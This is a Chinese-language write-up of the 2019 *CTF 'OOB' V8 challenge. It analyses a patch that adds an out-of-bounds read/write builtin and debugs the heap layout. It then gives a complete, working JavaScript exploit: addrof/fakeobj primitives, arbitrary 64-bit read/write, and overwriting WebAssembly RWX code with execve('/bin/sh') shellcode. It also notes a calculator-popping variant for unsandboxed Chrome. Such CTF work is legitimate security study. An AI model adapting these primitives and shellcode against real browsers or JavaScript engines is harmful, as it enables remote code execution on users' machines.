2019 *CTF Pwn OOB
怎么有人三月份入了个坑然后就没学了啊. 最近某比赛有个 Webkit, 抄了个 exp 改改出了, 信心找回来了, 这就开始学 v8.
环境搭建
这题是 19 年的了, 切换到当时的 branch 安装依赖时提示最高支持到 Ubuntu 18. 于是丢 docker 里装了一下.
这题不能编译 debug 版本, 因为漏洞是数组越界, debug 版本有运行时 check.
git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git
export PATH=/path/to/depot_tools:$PATH
fetch v8
cd v8
git checkout 6dc88c191f5ecc5389dc26efa3ca0907faef3598
git apply < oob.diff
./tools/dev/gm.py x64.release
编译好的文件在 ./out/x64.release
. 在本机运行调试, 需要 patchelf 一下 libc 以及其他需要的 lib 库.
然而实验时发现 patch 了以后 gdb 就崩掉了. 于是在 docker 里起了个 gdbserver 调.
而且这题的版本貌似还没有指针压缩啥的, 只有一个指针标记. SMI 在高 4 字节, 低 4 字节是 0. double 直接存的数字.
题目分析
就一个 diff:
diff --git a/src/bootstrapper.cc b/src/bootstrapper.cc
index b027d36..ef1002f 100644
--- a/src/bootstrapper.cc
+++ b/src/bootstrapper.cc
@@ -1668,6 +1668,8 @@ void Genesis::InitializeGlobal(Handle<JSGlobalObject> global_object,
Builtins::kArrayPrototypeCopyWithin, 2, false);
SimpleInstallFunction(isolate_, proto, "fill",
Builtins::kArrayPrototypeFill, 1, false);
+ SimpleInstallFunction(isolate_, proto, "oob",
+ Builtins::kArrayOob,2,false);
SimpleInstallFunction(isolate_, proto, "find",
Builtins::kArrayPrototypeFind, 1, false);
SimpleInstallFunction(isolate_, proto, "findIndex",
diff --git a/src/builtins/builtins-array.cc b/src/builtins/builtins-array.cc
index 8df340e..9b828ab 100644
--- a/src/builtins/builtins-array.cc
+++ b/src/builtins/builtins-array.cc
@@ -361,6 +361,27 @@ V8_WARN_UNUSED_RESULT Object GenericArrayPush(Isolate* isolate,
return *final_length;
}
} // namespace
+BUILTIN(ArrayOob){
+ uint32_t len = args.length();
+ if(len > 2) return ReadOnlyRoots(isolate).undefined_value();
+ Handle<JSReceiver> receiver;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, receiver, Object::ToObject(isolate, args.receiver()));
+ Handle<JSArray> array = Handle<JSArray>::cast(receiver);
+ FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());
+ uint32_t length = static_cast<uint32_t>(array->length()->Number());
+ if(len == 1){
+ //read
+ return *(isolate->factory()->NewNumber(elements.get_scalar(length)));
+ }else{
+ //write
+ Handle<Object> value;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, value, Object::ToNumber(isolate, args.at<Object>(1)));
+ elements.set(length,value->Number());
+ return ReadOnlyRoots(isolate).undefined_value();
+ }
+}
BUILTIN(ArrayPush) {
HandleScope scope(isolate);
diff --git a/src/builtins/builtins-definitions.h b/src/builtins/builtins-definitions.h
index 0447230..f113a81 100644
--- a/src/builtins/builtins-definitions.h
+++ b/src/builtins/builtins-definitions.h
@@ -368,6 +368,7 @@ namespace internal {
TFJ(ArrayPrototypeFlat, SharedFunctionInfo::kDontAdaptArgumentsSentinel) \
/* https://tc39.github.io/proposal-flatMap/#sec-Array.prototype.flatMap */ \
TFJ(ArrayPrototypeFlatMap, SharedFunctionInfo::kDontAdaptArgumentsSentinel) \
+ CPP(ArrayOob) \
\
/* ArrayBuffer */ \
/* ES #sec-arraybuffer-constructor */ \
diff --git a/src/compiler/typer.cc b/src/compiler/typer.cc
index ed1e4a5..c199e3a 100644
--- a/src/compiler/typer.cc
+++ b/src/compiler/typer.cc
@@ -1680,6 +1680,8 @@ Type Typer::Visitor::JSCallTyper(Type fun, Typer* t) {
return Type::Receiver();
case Builtins::kArrayUnshift:
return t->cache_->kPositiveSafeInteger;
+ case Builtins::kArrayOob:
+ return Type::Receiver();
// ArrayBuffer functions.
case Builtins::kArrayBufferIsView:
可以参考其他熟悉的东西, 来猜测 patch 添加的功能是什么. 如 InitializeGlobal
中用 SimpleInstallFunction
install 了名为 fill
, find
, findIndex
等的 function, 这显然是 JS 对象的内置函数. 那么可以猜测这里就是添加了一个内置函数 oob
. 函数具体功能肯定就是下面的一串代码了. 再之后可能就是一些声明和定义.
在分析之前, 需要知道的是 JS 内置函数的参数实际上还要加上调用者自己 (和 python 的 self 差不多), 放在第一个位置, 称为 receiver.
首先 args 是函数的参数, 它的类型为 BuiltinArguments
. 参数可以用 at(int index)
来取, 其中 index 如果为 0 取的是 receiver, 所以从 1 开始才是我们在 JS 中写的参数. 取 receiver 有另一个函数叫 receiver()
. length()
取参数的个数, 包括 receiver 在内.
先来看前面一部分:
uint32_t len = args.length();
if(len > 2) return ReadOnlyRoots(isolate).undefined_value();
Handle<JSReceiver> receiver;
ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
isolate, receiver, Object::ToObject(isolate, args.receiver()));
Handle<JSArray> array = Handle<JSArray>::cast(receiver);
FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());
uint32_t length = static_cast<uint32_t>(array->length()->Number());
先判断参数个数, 如果大于两个则什么也不做, 返回 undefined. 然后取出 receiver, 转换为 JSArray 类型, 并取出其中的 elements
(编号属性, 元素), 并取出元素个数 length
.
接下来根据参数个数来执行不同的功能.
if(len == 1){
//read
return *(isolate->factory()->NewNumber(elements.get_scalar(length)));
}
get_scalar(index)
) 函数是取 elements
的下标为 index
位置的值. 如果参数个数是 1, 即只有 reciver, 那么就会返回 elements[length]
的值. 这里存在越界读.
else{
//write
Handle<Object> value;
ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
isolate, value, Object::ToNumber(isolate, args.at<Object>(1)));
elements.set(length,value->Number());
return ReadOnlyRoots(isolate).undefined_value();
}
当参数个数为 2, 则设置 elements 的 length 位置的值为传入的数. 这里存在越界写.
可以写一段 JS 试一试, 比如
array = []
array.oob() // read
array.oob(1) // write
内存布局
首先来调试分析一下内存布局, 看看能够溢出或者修改什么东西.
调试一下可以发现, 当创建一个全局浮点数数组时, 内存布局为 elements 后紧挨着该数组的 JSObject:
d8> a = [1.1, 2.2, 3.3, 4.4]
[1.1, 2.2, 3.3, 4.4]
d8> %DebugPrint(a)
0x12eced1507a9: [JSArray]
- map: 0x018ec8142ed9 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
- prototype: 0x20e48e311111 <JSArray[0]>
- elements: 0x12eced150779 <FixedDoubleArray[4]> [PACKED_DOUBLE_ELEMENTS]
- length: 4
- properties: 0x17c9c5ec0c71 <FixedArray[0]> {
#length: 0x105fb58801a9 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x12eced150779 <FixedDoubleArray[4]> {
0: 1.1
1: 2.2
2: 3.3
3: 4.4
}
pwndbg> telescope 0x12eced150778
00:0000│ 0x12eced150778 —▸ 0x17c9c5ec14f9 ◂— 0x17c9c5ec01
01:0008│ 0x12eced150780 ◂— 0x400000000
02:0010│ 0x12eced150788 ◂— 0x3ff199999999999a
03:0018│ 0x12eced150790 ◂— 0x400199999999999a
04:0020│ 0x12eced150798 ◂— 0x400a666666666666 ('ffffff\n@')
05:0028│ 0x12eced1507a0 ◂— 0x401199999999999a
06:0030│ 0x12eced1507a8 —▸ 0x18ec8142ed9 ◂— 0x4000017c9c5ec01
07:0038│ 0x12eced1507b0 —▸ 0x17c9c5ec0c71 ◂— 0x17c9c5ec08
当创建一个全局 Object 数组时, 内存布局为 elements 后紧挨着该数组的 JSObject, 内存和上面差不多.
不过需要把 Object 数组中的元素先声明:
var obj_elem = {};
var obj_array = [obj_elem];
如果写成 obj_array = [{}]
就不是这个布局了. 调试时还发现必须得在函数外声明或定义全局变量.
可以先用 oob 读出 Map(PACKED_DOUBLE_ELEMENTS) 和 Map(PACKED_ELEMENTS) 的地址, 便于之后的利用:
/* type convert */
var buffer = new ArrayBuffer(0x10);
var float64 = new Float64Array(buffer);
var bigUnit64 = new BigUint64Array(buffer);
// convert 64bits float to unsigned int
function f2i(x) { float64[0] = x; return bigUnit64[0]; }
// convert unsigned int to 64bits
function i2f(x) { bigUnit64[0] = x; return float64[0]; }
// convert int to hex
function hex(x) { return "0x" + x.toString(16); }
// convert float to hex
function f2h(x) { return hex(f2i(x)); }
// convert float to addr
function f2a(x) { return f2i(x) >> 2n << 2n; }
// convert addr to float
function a2f(x) { return i2f(x | 1n); }
var float_array = [13.37];
print("float_array: ");
%DebugPrint(float_array);
var map_packed_double_ele_1 = f2a(float_array.oob());
print("leak double map: " + hex(map_packed_double_ele_1));
var obj_elem = {};
var obj_array = [obj_elem];
print("obj_array: ");
%DebugPrint(obj_array);
var map_packed_ele_1 = f2a(obj_array.oob());
print("leak object map: " + hex(map_packed_ele_1));
原语构造
根据调试, 我们有能力读取或者复写 Map 地址. 而 Map 决定了结构和元素类型, 如果可以将 Object Array 的 ELEMENTS Map 写为 DOUBLE_ELEMENTS Map, 便可以将 elements 中保存的 object 地址以 double 的方式打印出来. 于是可以写出 addrof, 用于获得 object 的地址:
function addrof(obj) {
obj_array[0] = obj;
obj_array.oob(a2f(map_packed_double_ele_1));
let addr = f2a(obj_array[0]);
obj_array.oob(a2f(map_packed_ele_1));
return addr;
}
类似地, 还可以构造 fakeobj 原语, 用于在某地址处伪造一个 object:
function fakeobj(addr) {
float_array[0] = a2f(addr);
float_array.oob(a2f(map_packed_ele_1));
let obj = float_array[0];
float_array.oob(a2f(map_packed_double_ele_1));
return obj;
}
之后可以利用泄漏的地址, 找到 elements 地址, 并在 elements 中构造一个 fake object, 就能够任意读写了. 具体构造如下:
read64 和 write64 原语:
var container = [a2f(map_packed_double_ele_1), 2.2, 3.3, i2f(0x100000000n)];
print("container: ");
%DebugPrint(container);
var container_addr = addrof(container);
var fake_obj_addr = container_addr - 0x20n;
var fake_obj = fakeobj(fake_obj_addr);
function read64(addr) {
container[2] = a2f(addr - 0x10n);
return f2i(fake_obj[0]);
}
function write64(addr, value) {
container[2] = a2f(addr - 0x10n);
fake_obj[0] = i2f(value);
}
利用
利用大致分两个思路, 一个是泄漏 d8 的地址造成 “逃逸”, 然后去和普通程序一样打, 比如劫持 hook 等. 另一种是利用 WASM 执行机器码的能力, 将机器码复写为恶意 shellcode.
目前在 JS 中执行 WASM 只有非常原始的接口, 需要将 WASM 字节码加载到内存中, 然后调用 WebAssembly.Module
接口进行编译, 再生成实例, 最后运行代码.
var wasm_code = new Uint8Array([/* WASM bytecode array */]);
var wasm_module = new WebAssembly.Module(wasm_code);
var wasm_instance = new WebAssembly.Instance(wasm_module);
var trigger = wasm_instance.exports.main;
trigger();
有一个非常好用的网站可以直接生成 C 语言对应的 WASM 字节码: WasmFiddle
之后调试查看 wasm_instance
附近内存, 可以找到代码地址, 在 0x88 处:
0x34fc49361709: [WasmInstanceObject] in OldSpace
- map: 0x318fcc149789 <Map(HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x3222ce4cac19 <Object map = 0x318fcc14abd9>
- elements: 0x1af8f74c0c71 <FixedArray[0]> [HOLEY_ELEMENTS]
- module_object: 0x3222ce4cfac9 <Module map = 0x318fcc1491e9>
- exports_object: 0x3222ce4cfd01 <Object map = 0x318fcc14ad19>
- native_context: 0x34fc49341869 <NativeContext[246]>
- memory_object: 0x34fc49361831 <Memory map = 0x318fcc14a189>
- table 0: 0x3222ce4cfc99 <Table map = 0x318fcc149aa9>
- imported_function_refs: 0x1af8f74c0c71 <FixedArray[0]>
- managed_native_allocations: 0x3222ce4cfc41 <Foreign>
- memory_start: 0x7f3efd180000
- memory_size: 65536
- memory_mask: ffff
- imported_function_targets: 0x5645d967cdf0
- globals_start: (nil)
- imported_mutable_globals: 0x5645d967ce10
- indirect_function_table_size: 0
- indirect_function_table_sig_ids: (nil)
- indirect_function_table_targets: (nil)
- properties: 0x1af8f74c0c71 <FixedArray[0]> {}
pwndbg> telescope 0x34fc49361708
00:0000│ 0x34fc49361708 —▸ 0x318fcc149789 ◂— 0x2500001af8f74c01
01:0008│ 0x34fc49361710 —▸ 0x1af8f74c0c71 ◂— 0x1af8f74c08
02:0010│ 0x34fc49361718 —▸ 0x1af8f74c0c71 ◂— 0x1af8f74c08
03:0018│ 0x34fc49361720 —▸ 0x7f3efd180000 ◂— 0x0
04:0020│ 0x34fc49361728 ◂— 0x10000
05:0028│ 0x34fc49361730 ◂— 0xffff
06:0030│ 0x34fc49361738 —▸ 0x5645d95f73c8 —▸ 0x7ffe0f36c5f0 ◂— 0x7ffe0f36c5f0
07:0038│ 0x34fc49361740 —▸ 0x1af8f74c0c71 ◂— 0x1af8f74c08
08:0040│ 0x34fc49361748 —▸ 0x5645d967cdf0 ◂— 0x0
09:0048│ 0x34fc49361750 —▸ 0x1af8f74c04d1 ◂— 0x1af8f74c05
0a:0050│ 0x34fc49361758 ◂— 0x0
... ↓ 3 skipped
0e:0070│ 0x34fc49361778 —▸ 0x5645d967ce10 ◂— 0x0
0f:0078│ 0x34fc49361780 —▸ 0x1af8f74c04d1 ◂— 0x1af8f74c05
10:0080│ 0x34fc49361788 —▸ 0x5645d95ed700 —▸ 0x1af8f74c0751 ◂— 0xd200001af8f74c07
11:0088│ 0x34fc49361790 —▸ 0x1a25830bd000 ◂— movabs r10, 0x1a25830bd260 /* 0x1a25830bd260ba49 */
12:0090│ 0x34fc49361798 —▸ 0x3222ce4cfac9 ◂— 0x710000318fcc1491
13:0098│ 0x34fc493617a0 —▸ 0x3222ce4cfd01 ◂— 0x710000318fcc14ad
14:00a0│ 0x34fc493617a8 —▸ 0x34fc49341869 ◂— 0x1af8f74c0f
15:00a8│ 0x34fc493617b0 —▸ 0x34fc49361831 ◂— 0x710000318fcc14a1
16:00b0│ 0x34fc493617b8 —▸ 0x1af8f74c04d1 ◂— 0x1af8f74c05
17:00b8│ 0x34fc493617c0 —▸ 0x1af8f74c04d1 ◂— 0x1af8f74c05
于是我们只需要泄漏一下地址, 然后写入 shellcode 即可.
不过测试时发现写入挂在了 v8::internal::FixedArrayBase::IsCowArray()
函数上, 因为 fake obj 的 elements 地址低 20 位被置零了, 而该地址上方没有映射, 导致后续代码访问到了这里, 所以段错误了.
pwndbg> 7/10i 0x560c54c66d20
0x560c54c66d20 <v8::internal::FixedArrayBase::IsCowArray() const>: mov rax,QWORD PTR [rdi]
0x560c54c66d23 <v8::internal::FixedArrayBase::IsCowArray() const+3>: mov rcx,QWORD PTR [rax-0x1]
0x560c54c66d27 <v8::internal::FixedArrayBase::IsCowArray() const+7>: and rax,0xfffffffffffc0000
=> 0x560c54c66d2d <v8::internal::FixedArrayBase::IsCowArray() const+13>: mov rax,QWORD PTR [rax+0x30]
0x560c54c66d31 <v8::internal::FixedArrayBase::IsCowArray() const+17>: cmp rcx,QWORD PTR [rax-0x8fe0]
0x560c54c66d38 <v8::internal::FixedArrayBase::IsCowArray() const+24>: sete al
0x560c54c66d3b <v8::internal::FixedArrayBase::IsCowArray() const+27>: ret
pwndbg> regs rdi rax
*RDI 0x7ffc8901e200 —▸ 0x38699c454251 ◂— int3 /* 0xcccccccccccccccc */
*RAX 0x38699c440000
*EFLAGS 0x10206 [ cf PF af zf sf IF df of ]
解决方法有两种, 最简单的是先往能写的位置写一下, 这篇博客 有分析 (不过我没看懂). 另一种是用 DataView 写. 见 从一道CTF题零基础学V8漏洞利用. 这里就直接用先写一下的方法. 完整 exp 如下:
/* type convert */
var buffer = new ArrayBuffer(0x10);
var float64 = new Float64Array(buffer);
var bigUnit64 = new BigUint64Array(buffer);
// convert 64bits float to unsigned int
function f2i(x) { float64[0] = x; return bigUnit64[0]; }
// convert unsigned int to 64bits
function i2f(x) { bigUnit64[0] = x; return float64[0]; }
// convert int to hex
function hex(x) { return "0x" + x.toString(16); }
// convert float to hex
function f2h(x) { return hex(f2i(x)); }
// convert float to addr
function f2a(x) { return f2i(x) >> 2n << 2n; }
// convert addr to float
function a2f(x) { return i2f(x | 1n); }
var float_array = [13.37];
print("float_array: ");
%DebugPrint(float_array);
var map_packed_double_ele_1 = f2a(float_array.oob());
print("leak double map: " + hex(map_packed_double_ele_1));
var obj_elem = {};
var obj_array = [obj_elem];
print("obj_array: ");
%DebugPrint(obj_array);
var map_packed_ele_1 = f2a(obj_array.oob());
print("leak object map: " + hex(map_packed_ele_1));
function addrof(obj) {
obj_array[0] = obj;
obj_array.oob(a2f(map_packed_double_ele_1));
let addr = f2a(obj_array[0]);
obj_array.oob(a2f(map_packed_ele_1));
return addr;
}
function fakeobj(addr) {
float_array[0] = a2f(addr);
float_array.oob(a2f(map_packed_ele_1));
let obj = float_array[0];
float_array.oob(a2f(map_packed_double_ele_1));
return obj;
}
var container = [a2f(map_packed_double_ele_1), 2.2, 3.3, i2f(0x100000000n)];
print("container: ");
%DebugPrint(container);
var container_addr = addrof(container);
var fake_obj_addr = container_addr - 0x20n;
var fake_obj = fakeobj(fake_obj_addr);
function read64(addr) {
container[2] = a2f(addr - 0x10n);
return f2i(fake_obj[0]);
}
function write64(addr, value) {
container[2] = a2f(addr - 0x10n);
fake_obj[0] = i2f(value);
}
var tmp = [12.34];
var addr = addrof(tmp);
write64(addr - 0x8n, 0xdeadbeefn);
print(tmp[0]);
var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,142,128,128,128,0,1,136,128,128,128,0,0,65,239,253,182,245,125,11]);
var wasm_module = new WebAssembly.Module(wasm_code);
var wasm_instance = new WebAssembly.Instance(wasm_module);
print("wasm_instance: ")
%DebugPrint(wasm_instance);
var func = wasm_instance.exports.main;
var shellcode_addr = read64(addrof(wasm_instance) + 0x88n) + 0x260n;
print("shellcode addr: " + hex(shellcode_addr));
function write_array64(addr, values) {
for (let i = 0; i < values.length; i++, addr += 0x8n)
write64(addr, values[i]);
}
shellcode = new BigUint64Array([
0x6e69622fb848686an,
0xe7894850732f2f2fn,
0x2434810101697268n,
0x6a56f63101010101n,
0x894856e601485e08n,
0x50f583b6ad231e6n,
])
write_array64(shellcode_addr, shellcode);
func();
d8 执行这个脚本, 就可以 get shell 了.
Chrome
弹计算器!
据说该题不需要绕过沙箱, 用 ./Chrome --no-sandbox
启动浏览器.
写一个 html, 加载 exp.js, 需要把调试信息删掉, 并且 shellcode 写为 execve("/usr/bin/xcalc", NULL, ["DISPLAY=:0"])
![execve("/usr/bin/xcalc", NULL, ["DISPLAY=:0"])](/2019-starctf-pwn-oob/img/calc.webp)